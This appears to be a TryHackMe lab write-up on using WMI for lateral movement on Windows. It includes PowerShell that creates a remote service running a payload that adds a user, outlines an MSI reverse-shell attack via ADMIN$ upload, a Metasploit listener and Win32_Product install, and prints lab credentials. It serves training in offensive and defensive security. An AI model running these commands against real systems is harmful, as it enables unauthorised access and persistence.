Moving Laterally Using WMI

Windows Management Instrumentation (WMI) allows administrators to perform standard management tasks that attackers can abuse to perform lateral movement in various ways:


Creating Services Remotely with WMI

  • Ports:

    • 135/TCP, 49152-65535/TCP (DCERPC)

    • 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

  • Required Group Memberships: Administrators

Create service

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

Start the service

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"

Invoke-CimMethod -InputObject $Service -MethodName StartService

Stop and delete the service


Installing MSI packages through WMI

  • Ports:

    • 135/TCP, 49152-65535/TCP (DCERPC)

    • 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

  • Required Group Memberships: Administrators

MSI is a file format used for installers. If we can copy an MSI package to the target system, we can then use WMI to attempt to install it for us. Once the MSI file is in the target system, we can attempt to install it by invoking the Win32_Product class through WMI



Task 2

Similar to the previous task, we need to move laterally from THMJMP2 to THMII but this time using MSI packages. Initial credentials are given (assume we captured with admin access)

User: ZA.TRYHACKME.COM\t1_corine.waters

Password: Korine.1994


Generate an MSI payload using this:

Proceed to use the current user's credentials to upload the payload to the ADMIN$ share of THMIIS using smbclient

Set the listener on Metasploit

SSH into the DNS setup credentials

Start a WMI session against THMIIS from a Powershell console:

Invoke the install method from Win32_Product to trigger the payload

A callback is triggered. We are now SYSTEM and the pivot was successful

Grab the flag

Last updated